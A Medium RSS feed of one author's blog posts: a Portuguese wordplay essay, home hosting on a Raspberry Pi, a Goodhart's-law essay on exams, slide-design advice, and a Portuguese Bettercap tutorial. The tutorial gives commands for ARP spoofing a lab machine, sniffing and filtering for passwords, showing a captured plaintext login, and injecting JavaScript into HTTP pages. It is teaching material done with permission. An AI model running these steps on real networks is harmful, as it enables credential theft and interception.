<![CDATA[Stories by Gabriel Cruz on Medium]]> https://medium.com/@gmelodie?source=rss-ea856b51f1c0------2 https://cdn-images-1.medium.com/fit/c/150/150/1*CUGlCIRLQuvAW0bTwzOiEw.png Stories by Gabriel Cruz on Medium https://medium.com/@gmelodie?source=rss-ea856b51f1c0------2 Medium Wed, 10 Jun 2026 02:46:19 GMT <![CDATA[O interessante é mesmo estranho]]> https://gmelodie.medium.com/o-interessante-%C3%A9-mesmo-estranho-8182e98a6e5a?source=rss-ea856b51f1c0------2 https://medium.com/p/8182e98a6e5a Tue, 12 Jan 2021 15:42:34 GMT 2021-01-12T15:42:34.667Z O processo criativo é estranho. Estranho não, como ousam? Como ousam me deixar usar essa palavra, que de certo só é mais precisa do que “interessante”, sem me punir? Sem nem mesmo comentar a mediocridade dessa minha escrita? Como pode? Que alguém ainda diga “interessante” sem ser taxado de estranho? Ou estranho, sem ser taxado de interessante? Há algo pior do que ser interessante? Talvez estranho…

Não há nada de interessante no interessante. Não há nada de estranho no estranho.

Aula interessante.

Projeto interessante.

Interessante reflexão.

Pessoa estranha.

Que qualidades são essas, que não carregam em si nem mesmo si mesmas? É mesmo, taí uma palavra de personalidade: mesmo. Mesmo? Mesmo! Vejam: não deve nada a ninguém, não faz sobrar e nem faltar. É mesmo.

E quem sou eu? Sabem? Isso mesmo. Sou o mesmo: eu mesmo.

]]> <![CDATA[Sem IP público? Sem problema]]> https://gmelodie.medium.com/sem-ip-p%C3%BAblico-sem-problema-d494e91f9c1a?source=rss-ea856b51f1c0------2 https://medium.com/p/d494e91f9c1a Thu, 28 May 2020 14:46:28 GMT 2020-05-28T14:46:28.240Z
Photo by Harrison Broadbent on Unsplash

As aventuras de um computeiro merreca e sua Raspberry Pi dentro de casa

Contexto

Por volta de julho de 2019 lá estava eu em casa, fazendo altos nadas no computador quando olhei pra minha estante e vi a Raspberry Pi Zero que tinha comprado um ano antes e que até então só servia mesmo era de peso de papel (nem isso direito, porque ela pesa 9g).

A ideia era simples: hospedar meu site pessoal nela mas, como veremos, o buraco é bem mais embaixo.

Aviso: A internet é um lugar perigoso e hospedar coisas, seja na nuvem ou na sua rasp em casa, tem seus riscos. Tenha cuidado para não colocar dados sensíveis em sistemas caseiros, blablabla…

IPs Publicamente Roteáveis

Com essa ideia na cabeça eu comecei. Liguei a rasp, baixei o Raspbian (uma versão do Debian para Raspberry Pi) e instalei nela. Claro que nessa época eu pensei que precisava ter um teclado e um monitor pra completar a instalação — não precisa.

Mas apesar de ter demorado um pouco mais do que o esperado (uma semana rsrs) pra instalar o Raspbian, consegui. Estava lá minha raspberry linda e maravilhosa com SSH configurado e tudo.

Daqui pra frente é facinho: configura um servidor web e serve as páginas!
— Gabriel , prestes a quebrar a cara

E foi isso mesmo que eu fiz. Configurei um servidor web (se não me engano era Nginx) e coloquei um arquivo HTML para ela servir:

<html>
  <body>
    Hello world!
  </body>
</html>
Agora é só abrir o browser e digitar o endere-
— Gabriel , quebrando a cara

Mas calma, que endereço a gente coloca no browser? Olhando o IP da rasp eu achei 192.168.0.19. Bom, de dentro de casa funcionaria, porque esse é um IP privado, ou, como eu prefiro, não é publicamente roteável.

IPs publicamente roteáveis, ou só roteáveis, são aqueles para os quais é possível encontrar uma rota independente de onde você esteja na internet. São os tais dos IPs públicos que você só consegue comprando e meio que já acabaram e blablabla, mas isso é assunto para outro post.

Mas calma. Então se meu IP não é publicamente roteável, como diabos eu consigo receber algum conteúdo da internet?
— Gabriel, mais confuso do que nunca

NAT: Network Address Translation

A resposta aqui é que você está atrás de uma NAT. Já notou quando você vai pra lá e pra cá, muda de endereço, muda de cidade, estado e até país, e seu IP continua parecido com 192.168.0.19? Isso é NAT, uma estratégia para economizar endereços IP.

Imagine que o roteador da sua casa é um prédio e o seu computador é um apartamento desse prédio. O número do apartamento é o seu IP privado, aquele 192.168.0.19, e o CEP do prédio é o IP do seu roteador. Quando alguém vai mandar uma carta para você ela coloca como destino o CEP e o número do apartamento. Se no destinatário da carta tivesse só o número do seu apartamento (sem o CEP), o carteiro nunca ia achar o lugar, porque não tem como ele saber de qual prédio você está falando.

Enviando uma carta entre dois prédios

NAT é útil porque você economiza endereços IP públicos. Mesmo que tenha 20 pessoas na sua casa, vocês só vão “gastar” um IP público do roteador. Na nossa analogia, você não precisa ter um CEP para cada apartamento, e com isso economizamos CEPs.

Mas então os pacotes vêm com dois IPs de destino? O do roteador e o seu IP privado?

 — Você, mais confuso que surdo em bingo

Não exatamente. Apesar de isso poder ser uma solução válida para o problema, em geral NAT é implementado usando tradução de IPs locais para portas do roteador (Port-based NAT): o roteador tem várias portas, o que a NAT faz nesse caso é basicamente criar regras do tipo “se chegar um pacote na porta 29534, redirecione para o IP do Gabriel, e se chegar um pacote na porta 3487 redirecione para o IP da Alice”.

NAT: Dois pacotes chegando no mesmo roteador em portas diferentes

Port Forwarding

Então eu tinha um IP público: o do roteador! Isso significa que qualquer pessoa era capaz de chegar até o meu roteador, o problema era da porta pra dentro: configurar o roteador para redirecionar todas as requisições do site para a Raspberry.

Mas como fazer isso?

 — Gabriel, já não mais tão desapontado

A palavra-chave aqui é Port Forwarding, ou redirecionamento de portas. Lembra que eu disse que a NAT tem umas regras de “se chegar na porta tal, redirecione pro IP interno tal”? O que vamos fazer é basicamente configurar uma regra dessas manualmente:

“se chegar um pacote na porta 80, redirecione para o IP da rasp”

A grande maioria dos roteadores hoje te permite fazer isso através da interface web, a mesma que você usa pra mudar a senha da Wi-Fi.

Página de configuração de Port Forwarding no roteador

Obs: Você provavelmente notou que eu passei meio por cima do assunto portas. Isso porque se eu fosse falar sobre isso esse post ia ficar 3x mais longo, e não é tããão importante assim no momento, mas eu recomendo muito você aprender sobre em algum momento. Para nós, a porta 80 é importante porque é por onde chegam as requisições HTTP (requisições de websites).

DHCP: Dynamic Host Configuration Protocol

Tá bom vai, eu passei lotado por mais um detalhe além da parada das portas. Mas eu prometo que é só mais um. Lembra da regrinha que configuramos no roteador?

“se chegar um pacote na porta 80, redirecione para o IP da rasp”

O problema aqui é: qual é o IP interno da rasp? Ou melhor: os IPs internos são sempre os mesmos? Resposta: o buraco é mais embaixo.

O DHCP é o protocolo que permite distribuir endereços IP dinamicamente. Imagine que você venha na minha casa e se conecte na minha rede. Na grande maioria das vezes você recebe um IP do servidor DHCP que roda no roteador da casa. Isso serve para que IPs possam ser “reciclados”, ou seja, quando você for embora da minha casa, o servidor coleta de volta aquele IP que você estava usando para que outra pessoa no futuro possa usá-lo.

Mas isso é um problema para nós porque o port forwarding não adivinha o IP da rasp, então o que precisamos fazer é configurar o servidor DHCP, bem parecido com a configuração de port forwarding, para reservar um endereço IP para a rasp. Assim, toda a vez que a rasp ligar e se conectar na rede de casa o servidor DHCP vai dar o mesmo IP para ela, e o port forwarding vai funcionar.

Página de configuração do DHCP no roteador

IP público vs. IP estático

Já que tocamos no assunto de IPs estáticos e dinâmicos, será que IPs públicos são todos estáticos? Resposta: NÃO!

Do mesmo jeito que IPs privados em geral são administrados por um servidor DHCP, IPs públicos também podem ser. No meu caso o meu provedor de internet tinha um servidor DHCP para toda a região da cidade onde eu morava, e cada roteador recebia seu IP público e dinâmico. Isso me custou mais umas duas semanas pra descobrir…

Ué, mas qual o problema de ser dinâmico? Não basta ser público pra podermos acessar?

 — Você, mais confuso que o Gabriel do começo do post

Essa é fácil. Imagine que para acessar o meu site você digita o IP lá no browser: 123.12.9.34. Agora imagina que na semana seguinte eu solto um novo post e você animadasso pra ler vai lá e puf, o site tá em outro IP. Um saco né? É esse o problema :P

Mas agora, diferente do que aconteceu na minha casa, eu não tinha acesso ao servidor DHCP do provedor para forçar o IP do meu roteador a ser estático, então, depois de mais uma semana quebrando a cabeça eu encontrei uma solução: Dynamic DNS.

Oh meu jesus, mais um termo?

 — Você, já não aguentando mais o aluguel que tá esse post

Prometo que estamos no fim.

Dyn DNS

Lembra do nosso exemplo hipotético em que você acessava meu site usando o IP? Agora fala sério, quando você acessa um site, você usa o IP do site? Não. Em geral os sites tem nomes tipo google.com e ganesh.icmc.usp.br. Esses nomes chamam domínios: nomes mais amigáveis ao usuário que mapeiam para endereços IP e servem pra você não ter que ficar lembrando os endereços de cada site e serviço que você quer usar, até porque esses IPs podem mudar.

O Domain Name System, esse sistema que converte domínios para IPs, é muito útil para a gente agora. Se o nosso site tivesse um domínio tipo gmcruz.me, poderíamos só mudar o IP que mapeia para esse nome e pronto. Para o usuário final nada mudou.

O Dynamic DNS é o mecanismo que permite alterar registros DNS conforme o IP muda. Por exemplo, podemos fazer um programa que checa se o IP do roteador mudou e, se for o caso, atualiza o registro DNS com o novo IP. Felizmente pra gente isso já está feito e existem vários clientes de DNS dinâmico por aí. O que eu faço a seguir é meio mecânico, então vou deixar só uma lista dos passos com links:

  1. Pegar um domínio: comprar ou pegar de graça usando Github Developer Pack ou domínios grátis.
  2. Delegar o gerenciamento do domínio para a CloudFlare (não é obrigatório, é só como eu fiz)
  3. Configurar o domínio para Dyn DNS na CloudFlare
  4. Configurar o script para rodar na rasp que atualiza o DNS conforme o IP do roteador muda. Eu usei o ddclient e configurei com a imensa ajuda desse tutorial.

Observações

Depois de umas semanas com tudo funcionando bem eu percebi que não queria expor um site usando a minha raspberry, porque não é muito confiável em termos de segurança, rede, energia, capacidade de processamento, etc. Então eu logo fechei a porta 80 e desliguei o servidor web.

Nossa mano você me fez ler até aqui pra falar que nem usou o rolê?

 — Você, puto da vida

Não, não é isso. Eu gostava da ideia de poder mexer na minha rasp de fora de casa, mas com o site isso não era possível, e ela nem fazía um bom trabalho em termos de ser um servidor web. Então o que eu fiz foi abrir a porta 22 em vez da 80, e configurar um servidor SSH para que eu conseguisse acessar e realmente mexer e fazer coisas nela. Meu site hoje é hospedado no Github Pages, que é gratuito e confiável.

Até a próxima :)

]]> <![CDATA[Bettercap: Um guia para toda a família]]> https://medium.com/ganeshicmc/bettercap-um-guia-para-toda-a-fam%C3%ADlia-afc3ade3380a?source=rss-ea856b51f1c0------2 https://medium.com/p/afc3ade3380a Mon, 23 Mar 2020 16:17:53 GMT 2020-03-23T17:10:21.145Z
Foto de Pixabay, disponível em Pexels

Então você decide começar a brincar com segurança de redes e logo o Bettercap aparece no topo dos resultados da busca do Google (ou DuckDuckGo ❤).

Você, script kiddie que é, logo baixa e instala a versão mais recente do Bettercap e finalmente tem tudo o que precisa para começar sua vida de hacker, roubar todas as senhas das redes dos vizinhos, invadir a NASA e… Não tem nenhum tutorial decente na web.

Sobram então duas opções: (1) bater cabeça, testar todos os módulos na mão e se frustrar muito até aprender algo ou (2) continuar lendo esse post :)

Setup

Os testes realizados nesse post utilizaram os seguintes componentes (tanto de rede quanto da máquina atacante)

  • Arch Linux
  • Bettercap v2.24.1 (ou mais recente)

Cuidados

Todos os testes realizados aqui foram feitos em ambientes controlados, com as devidas permissões. Por favor não utilize esse conhecimento para nada que viole privacidade ou quaisquer leis.

Um Etter Melhor

Se você chegou até o Bettercap existe uma boa chance de que você já conheça a ideia geral (nada técnico não) por trás de um ataque de homem no meio (ou Man-in-the-Middle, MITM). O pai do Bettercap, o Ettercap, foi criado como uma suíte para possibilitar diversas formas e implementações de ataques MITM.

O Bettercap é o sucessor do Ettercap e, como o próprio nome diz, ele é melhor (better). O Bettercap oferece uma gama muito maior de ataques, bem como a possibilidade de escrever scripts (caplets) que implementem ataques customizados, colocando muito mais poder nas nossas mãos — mas, como diria o Tio Ben,

Com grandes poderes vêm grandes responsabilidades.

Há muito o que aprender sobre o Bettercap, mas vamos com calma, afinal ninguém quer reiventar a roda só pra andar de carro.

Um Fusquinha

Para fazer nosso primeiro ataque MITM vamos usar os módulos de ARP spoofing (arp.spoof) e de reconhecimento (net.recon, net.probe e net.show) do Bettercap:

$ sudo bettercap
192.168.0.0/24 > 192.168.0.5 »

Reconhecimento

Dica: se você não sabe quais as opções de algum módulo digite help nome.do.modulo, ou, para ver a lista de módulos do Bettercap, utilize apenas help.

Primeiramente precisamos descobrir os IPs das máquinas conectadas na rede, para isso vamos usar o módulo net.recon:

192.168.0.0/24 > 192.168.0.5 » help net.recon
net.recon (not running): Read periodically the ARP cache in order to monitor for new hosts on the network.
net.recon on : Start network hosts discovery.
net.recon off : Stop network hosts discovery.
net.clear : Clear all endpoints collected by the hosts discovery module.
net.show : Show cache hosts list (default sorting by ip).
net.show ADDRESS1, ADDRESS2 : Show information about a specific comma separated list of addresses (by IP or MAC).
net.show.meta ADDRESS1, ADDRESS2 : Show meta information about a specific comma separated list of addresses (by IP or MAC).
Parameters
net.show.filter : Defines a regular expression filter for net.show (default=)
net.show.limit : Defines limit for net.show (default=0)
net.show.meta : If true, the net.show command will show all metadata collected about each endpoint. (default=false)
net.show.sort : Defines sorting field (ip, mac, seen, sent, rcvd) and direction (asc or desc) for net.show (default=ip asc)

O texto de ajuda nos dá uma boa noção do que está acontecendo. A primeira coisa que notamos é que o net.recon utiliza as entradas da tabela ARP do seu computador para reconhecer os hosts conectados na rede. Isso significa que ele faz um reconhecimento passivo, reconhecendo os hosts na medida em que eles enviam pacotes ARP pela rede.

Como não queremos ficar esperando para que os hosts enviem pacotes para descobrí-los, podemos usar uma abordagem ativa com o net.probe, que fica enviando pacotes UDP para todos os possíveis IPs da rede e vê quais IPs respondem:

192.168.0.0/24 > 192.168.0.5 » help net.probe
net.probe (not running): Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet.
net.probe on : Start network hosts probing in background.
net.probe off : Stop network hosts probing in background.
Parameters
net.probe.mdns : Enable mDNS discovery probes. (default=true)
net.probe.nbns : Enable NetBIOS name service discovery probes. (default=true)
net.probe.throttle : If greater than 0, probe packets will be throttled by this value in milliseconds. (default=10)
net.probe.upnp : Enable UPNP discovery probes. (default=true)
net.probe.wsd : Enable WSD discovery probes. (default=true)

Vamos então primeiramente listar os hosts da nossa rede usando net.probe:

192.168.0.0/24 > 192.168.0.5 » net.probe on

Os hosts descobertos devem aparecer conforme a ordem de descoberta. Para listar todos os descobertos até agora vamos usar o net.show:

192.168.0.0/24 > 192.168.0.5 » net.show

Agora vamos escolher um dos hosts para impersonar durante o MITM. Nesse exemplo vamos atacar o 192.168.0.111, que é uma máquina configurada especificamente para demonstrar o ataque.

Obs: O IP do host a ser atacado depende da rede em que você está conectado.

Obs 2: O computador que eu estou atacando foi configurado e ligado especificamente para esse tutorial. Não ataque hosts sem as devidas permissões!!

Tique-taque

Uma das funcionalidades mais legais do Bettercap é o ticker, que permite configurar comandos que fiquem rodando de tempos em tempos. Se você não entendeu porque isso é útil eu mostro:

192.168.0.0/24 > 192.168.0.5  » set ticker.commands 'clear; net.show'
192.168.0.0/24 > 192.168.0.5  » set ticker.period 1
192.168.0.0/24 > 192.168.0.5  » ticker on

TÃ-RÃÃÃÃÃÃÃÃÃ

Ele vai ficar limpando a tela e te mostrando um resumo dos hosts na rede atualizado a cada 1 segundo. Mas pra falar a verdade eu só configurei os parâmetros manualmente pra mostrar que dá pra usar com outros comandos e em outros intervalos, porque esses valores já são os padrão (o que quer dizer que você pode atingir o mesmo resultado apenas com:)

192.168.0.0/24 > 192.168.0.5  » ticker on

Às Máscaras, Hackers

Para realizar o MITM vamos usar o módulo arp.spoof:

192.168.0.0/24 > 192.168.0.5 » help arp.spoof
arp.spoof (not running): Keep spoofing selected hosts on the network.
arp.spoof on : Start ARP spoofer.
arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
arp.spoof off : Stop ARP spoofer.
arp.ban off : Stop ARP spoofer.
Parameters
arp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)
arp.spoof.internal : If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network. (default=false)
arp.spoof.targets : Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges. (default=<entire subnet>)
arp.spoof.whitelist : Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing. (default=)

Como o ataque que vamos fazer é simples, só precisaremos mexer em um desses argumentos: a lista de alvos (targets). A opção padrão (default) para a lista de alvos é a rede inteira, mas nós só queremos atacar um host (o 192.168.0.111):

192.168.0.0/24 > 192.168.0.5  » set arp.spoof.targets 192.168.0.111

Ah! Você pode ver como estão os parâmetros de qualquer modo usando o comando get:

192.168.0.0/24 > 192.168.0.5  » get arp.spoof.fullduplex
arp.spoof.fullduplex: 'false'

Se quiser ver todos os parâmetros de um determinado módulo você pode usar coringas (wildcards), tipo os de regex mesmo:

192.168.0.0/24 > 192.168.0.5  » get arp.spoof.*
                          arp.spoof.fullduplex: 'false'
                           arp.spoof.internal: 'false'
                            arp.spoof.targets: '192.168.0.111'
                          arp.spoof.whitelist: ''

E finalmente vamos ligar o módulo de arp spoofing:

192.168.0.0/24 > 192.168.0.5  » arp.spoof on

Cheirinho de sniffer

Beleza, legal, você está spoofando o seu alvo… Mas e daí? Daí que você não vai conseguir ver nada a menos que ligue um sniffer. Deixa eu explicar: você agora está fazendo o seu alvo acreditar que você é o gateway (roteador, access point, switch, hoje em dia essas paradas estão todas no mesmo aparelho físico). Ou seja, o seu alvo está enviando pra você todos os pacotes que ele troca com qualquer serviço da internet, mas isso não quer dizer que o seu computador vai de fato abrir os pacotes e olhar eles.

O sniffer é o programa que vai pegar os pacotes que passam pelo seu computador e de fato abrir e lê-los (claro que o bettercap tem um prontinho :)

192.168.0.0/24 > 192.168.0.5  » net.sniff on

Agora sim, vá na máquina que você está atacando e acesse uns sites com ela. Você logo vai ver no Bettercap um montão de informação sobre os pacotes capturados.

Importante notar que na máquina atacada tudo parece normal, isso é porque o Bettercap captura os pacotes, abre, te mostra e depois os encaminha para o roteador normalmente, então seu alvo não nota de cara que está sendo atacado.

Eu adoro Neopets, ainda mais porque eles usam HTTP em vez de HTTPS (ou seja, nada de criptografia no HTTP). Aqui está a saída do Bettercap depois que tendo fazer um login no Neopets pelo computador alvo:

POST /login.phtml HTTP/1.1
Host: www.neopets.com
Referer: http://www.neopets.com/login/index.phtml?destination=%2Fmyaccount.phtml
Cookie: np_randseed=31799734161242960; np_uniq=pending; xt6Yr4e33D=225442642583; npuid=1300000us000000000030000200000000000000000000000000000000e700000; np_uniq_=2019-09-02; _tz=180; __utma=258639253.789120969.1565725586.1565963834.1567458091.4; __utmz=238639253.1565725586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); SPSI=57f2c16e050132f78dd3bdc9ac5daae1; spcsrf=742382132210d20e8d8416a56d45d9be; UTGv2=h425a51214f01c80f87620203f3b624a19b42; PHPSESSID=6ttts0g7tg8evlt8idmubeunk0; PRLST=ju; adOtr=c2K1Ref0605; __utmb=258639253.7.10.1567458091; __utmc=258639253; sp_lit=CbP52BTIse8zj/TZUq3NrQ==; __utmt=1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
destination=%2Fmyaccount.phtml&username=fui&password=hackeado

Como o Neopets não usa HTTPS, as informações trafegam em texto plano, então não é preciso nada mais chique no nosso ataque. Aúltima linha mostra o usuário e a senha digitados no computador do alvo.

Filtrando saídas do sniffer

Se você realmente deu uma brincada no computador do alvo você deve ter notado que mesmo um computador pessoal (PC) normal gera muita saída com alguns simples acessos, muito material que em geral não nos é útil (agora imagina quando você tá spoofando a rede inteira!). Então o que podemos fazer é usar Expressões Regulares para filtrar a saída para mostrar somente o que nos é interessante. Por exemplo, vamos fazer ele mostrar somente pacotes que tiverem a palavra “password”:

192.168.0.0/24 > 192.168.0.5  » set net.sniff.regexp password

Voilà! Sem mais toda aquela nojeira que não importa. Dá pra refinar ainda mais com expressões mais complexas, mas isso foge do escopo desse post.

Avisando o alvo (ou http proxy)

Não sejamos malvados, vamos avisar o nosso alvo de que ele está vulnerável para ele ficar mais alerta das próximas vezes! O módulo http.proxy do Bettercap é ótimo pra brincar com os pacotes que capturamos.

É provável que você já tenha ouvido falar de (e até incentivado a usar) servidores proxy, ou proxy servers em inglês. Um servidor proxy é um servidor que geralmente roda perto da sua máquina e que intercepta pacotes que você envia para o mundo externo (e vice-versa). Na real, isso tudo é configurável, mas o que importa aqui é que existe um programinha embutido no Bettercap que facilita o processo de alterar pacotes do alvo. Por exemplo, podemos colocar uma caixa de alerta em todos os pacotes HTTP que nosso alvo receber dizendo “Fui hackeado”, e, claro, se podemos, é isso mesmo que vamos fazer!

Crie um arquivo .js (no meu caso o nome vai ser hacked.js) e coloque algum código javascript dentro dele. Nós vamos fazer só uma caixinha simples de alerta, mas perceba que você pode colocar qualquer código javascript aqui.

// Arquivo hacked.js
alert('Voce foi hackeado(a)!')

No compudador alvo, qualquer site HTTP (não HTTPS) acessado mostrará o código injetado (no caso, abrindo uma janela com o texto “Voce foi hackeado(a)!”).

Obs: Até a data de escrita deste post não existem ataques viáveis para acessar, ver e modificar informações de sites HTTPS. Em um post futuro falaremos do estado dos problemas de segurança do protocolo HTTPS.

C’est fini!

Obrigado por ler até aqui. Eu espero soltar um próximo post com ataques em redes wifi, indo mais profundamente em conceitos de redes e tudo mais. Se você achou algum problema ou erro, não hesite em comentar :)

Leituras Recomendadas

Bettercap: Um guia para toda a família was originally published in Blog do Ganesh on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Goodhart’s law, Machine Learning and why school exams don’t work]]> https://gmelodie.medium.com/goodharts-law-machine-learning-and-why-school-exams-don-t-work-f3bf4d99f911?source=rss-ea856b51f1c0------2 https://medium.com/p/f3bf4d99f911 Thu, 01 Aug 2019 21:17:28 GMT 2019-08-01T21:17:28.156Z
Photo by Fleur on

In kindergarden I didn’t have to study at all in order to score well in the tests. In elementary school I wasn’t able to ace tests without studying anymore, and so I started studying more or less regularly. When I got to high school I finally felt like I had to study really hard to keep my grades between 10 and 8 (out of 10).

Do you see the problem here?

The problem is that all my life I’ve been studying to get good grades — and we don’t go to school to get good grades, or at least we shouldn’t.

A couple of weeks ago me and my roommate Bruno stumbled upon the topic of university exams while chatting at home. We agreed: the current (classic) evaluation system doesn’t work, that’s where Machine Learning comes in.

Machine Learning… more or less

The topic of school exams came up when Bruno was telling me about the problems we face in Machine Learning, a subarea of Artificial Intelligence. Mainly, we talked about the control problem.

The control problem

In artificial intelligence (AI) and philosophy, the AI control problem is the issue of how to build a superintelligent agent that will aid its creators, and avoid inadvertently building a superintelligence that will harm its creators.
- Wikipedia

More generally, the control problem appears whenever an AI behaves unexpectedly. The issue I will focus on here is more specific: how machine learning algorithms cheat metrics to obtain higher grades instead of trying to do a better work.

In Machine Learning, when you create an algorithm that learns you also have to specify some kind of metric that evaluates whether the algorithm is learning or not. For example, one metric for an algorithm that predicts daily average temperature could be how far the prediction is from the actual temperature in degrees Celsius.

This last example might seem obvious, however that’s not always the case. If our task was to choose the best path from a place to another (like Wave and Google Maps do), defining the metric becomes much harder. That’s because it’s hard to determine what is ‘better’ when talking about paths (time, gas spent, road quality, amount of tolls in the road, etc.). When we face these types of problems what we usually do is we use a grading system. In our example here, we weight all the variables and grade every chosen path somehow. This becomes our metric.

So, in the end, the algorithm doesn’t care about your trip. It doesn’t realize it’s choosing a path for you to go to work. It doesn’t have a conscience, it doesn’t know what it’s doing. All it does is choose the path which has the higher score according to our metric, because that’s what we told it to do.

The Control Problem appears when machine learning algorithms start ‘cheating’ in order to score higher in the metric system. In our previous route choosing example, suppose we create a button that allows the user to rate the algorithm based on how good he thinks the chosen path was — and that becomes of our new metric. What may happen is that the algorithm might look for ways to block the user from rating its choices instead of actually choosing more efficient paths.

Grading system and Goodhart’s Law

Goodhart’s law illustrated (sketchplanations)

Grades are the metrics schools and universities generally use to evaluate how well a student has learned. The problem with this is that, as with our route choosing algorithm, once grades become the metrics we use to tell whether a someone is a good or a bad student, all the students will do is look for ways to score higher in the metrics (i.e. get better grades) — meaning that they will tend to memorize answers, cheat or do whatever else that works and stop paying attention to what really matters: their ability to consume and use knowledge.

Fixing metrics

How to make it impossible for students to cheat the metrics is a deep discussion in which I’ll not dive in here. However, even if we cannot completely solve the control problem, what we can do is create more accurate and sophisticated ways to evaluate the performance of school students.

First of all we got to ask ourselves: What do the grades represent? What does a 60% test score mean? Does it mean the student completely learned 6 out of 10 topics and knows nothing about the other 4 topics?

Lowering the stakes

If you’ve ever taken any test you know what I mean when I say that you never got to show everything you have to offer in a test.

When we get a low score on a test we may have the illusion that we don’t really know much about the topic in question, even though we in fact knew quite a bit about it. However, when we ace a test we have the opposite illusion: that we learned ‘enough’ and that there’s no need to keep studying.

We shouldn’t rely on a single test to evaluate students. Continuous evaluation through assignments and small tests makes the statistics much more reliable.

Time-dependent statistics

It doesn’t really matter whether we evaluate students continuously or not unless we analyze the data in a way that makes sense. Let’s say a student scored poorly on the first few tests and then began to show great improvement, but in the end the mean of his grades was low. This student showed improvement, but his grades don’t reflect this improvement.

On the other hand, a student that already knows a bit about the subject might score well in the first couple of evaluations and then, because of lack of further study, his/her grades may drop.

These two cases show how means and other time-independent statistics can mislead us to think that one is a poor (or a brilliant) student when they are actually not. Fortunately, however, we can use Time Series techniques that take into consideration how grades change over time.

For example, if we change the tests to contemplate not only the current subject being studied, but the previous one as well, we could analyze if the student has improved in comparison to the previous test. Then, what we can do with this data is to compute the differences between consecutive tests. We can calculate the mean of the consecutive improvements like so:

Where n is the number of tests and Ti is the ith test (if i = 2, T2, it’s the second test).

What the above equation does is to subtract every pair of consecutive tests (i.e. T2 and T1, T3 and T2,…) and make a mean of the obtained values (divide by the number of tests minus 1). What we end up with is a number that says if the student was mostly able to correct his/her issues between the feedback of the first test and the second test.

There are tons of ways to use Time Series to obtain information about your data set (in this case, students’ grades), that depends on what you want to analyze.

Detecting teaching problems

Comparing the performance of the student to that of the class may help — when most of the class scores low on a test it is very likely there was some flaw on the teaching process. Normalization can be used to show how a given student scored compared to the rest of the class.

Conclusion

The compilation of several different types of statistics offers us much more reliable information about the development of the students. Simply using one statistic tells us very little about how a student develops and learns, we need to stop using grades based on arithmetic means and start using our brains.

]]> <![CDATA[How NOT to do slide presentations]]> https://gmelodie.medium.com/how-not-to-do-slide-presentations-c782026c1a5e?source=rss-ea856b51f1c0------2 https://medium.com/p/c782026c1a5e Tue, 02 Apr 2019 12:10:32 GMT 2019-04-05T15:24:03.432Z
Photo by Jason Leung on Unsplash

I am not an expert on psychology or design but I have watched hundreds of slide presentations throughout my life and I think some things need to be said before is too late.

TL;DR

  1. Think carefully before using slides.
    Is there any other tool you could use to get the job done?
  2. Keep your slides simple
    Don’t put too much information on a single slide
  3. Slides are not supposed to be text screenshots or studying material.
    Want to show text? Use text documents.
  4. End strongly
    Make sure you leave a message

Why I am writing this

To be honest, I don’t know anyone that is more annoyed with slideshow presentations than me. Don’t get me wrong, they are great sometimes: they help to visualize data and make great impact on the crowd. But I (very) often see them being poorly used.

In my university there is a huge number of professors that use slides in their lectures, and it’s got to the point where slides are the standard go-to tools for preparing and teaching a lecture. Problem is: they are usually not the best tool for the job.

If you ever watched any TED talk, even though some are way better than others, you probably know what good slideshows (and good talks in general) look like. And if you ever watched any other presentations you probably bumped into a few that are far worse than TEDs’. The question you got to ask yourself is “why”?

Disclaimer

This post is 90% based on my own personal opinion and experience and 10% common knowledge. Some of what will be said is not necessarily always true — although most of it applies in most cases.

A shitty presentation

Let’s take a look at a lecture on, say, pooping.

Opening

The only problem that an opening slide can have is the title. Titles are supposed to be short and intuitive.

It’s not the best opening you will ever see, but it’s simple and it does the job. Putting your name on the slides doesn’t add important information to them, although this is not that big of a deal.

Summary (???)

I personally love summaries. They are really useful on books and other WRITTEN material when you need to find a specific content or topics. Slideshows, however, are not books — the audience can’t simply skip parts of the talk or go back whenever they want. Presentations are more like movies: you enter the room, sit and watch (and, if you are lucky, enjoy). Have you ever seen a summary at the beginning of a movie, even if it’s a documentary? That’s right.

The question you got to ask yourself: is it important for the audience to actually know the order of the topics you are going to talk about? What good does that do?

Although there would be an argument to be made to use summaries in order to explain what the presentation’s topics are and what it is mainly about, people are supposed to know that beforehand, not after they made time for it and rescheduled their important appointments to watch it.

Even if they forgot the exact list of everything you are talking about, they don’t care. They only remember that, at first, your talk seemed interesting. All a summary does here is make your talk feel like a task that you and your audience have to go through and get over with.

Here’s an example of good summary:

Yep

Introduction

I always thought of introductions as useless, purposeless things, but that is probably because I was used to seeing shitty introductions. Introductions are supposed to pose the questions about the problem we are presenting. What comes after is the process of trying to figure out answers to these questions.

Shitty introductions usually repeat what is on the summary (if there is any) and add a little bit of useless information.

You will see that I find most information useless, that is because I believe slides are not supposed to carry much information, but rather to illustrate what is being said.

Another important detail I didn’t mention so far is that sections shouldn’t need to state what they are. For example, the introduction’s title shouldn’t need to be “Introduction”. It makes literally no difference to the audience which section it is, all that matters is content.

“But you said slides should have content”

Right, it should. But it shouldn’t have bullshit. The rest of the content is up to you to say. If what you have to say doesn’t add value to your presentation, then it shouldn’t be a presentation.

Oh, also: STOP WRITING ESSAYS ON YOUR SLIDES.

Topics

Topics are supposed to be short god damn it! Don’t put everything on one slide. One of the things that annoys me the most is spending too much time in one single slide.

In other words, do not do this:

I made all these up, though some of it may be true

Here is how I would do it:

First, introduce the topic
Split topics between slides
Group closely related information

Don’t be afraid to make more slides if you need to, just make sure each of them contains a clear, concise message. Be careful not to mix different topics, develop one idea per slide.

Jokes

Making jokes is not only important, but necessary. Images are great for that, use them in incremental slides to loosen up the mood. There is no bad example here. A bad example would be not to make any jokes.

Ending

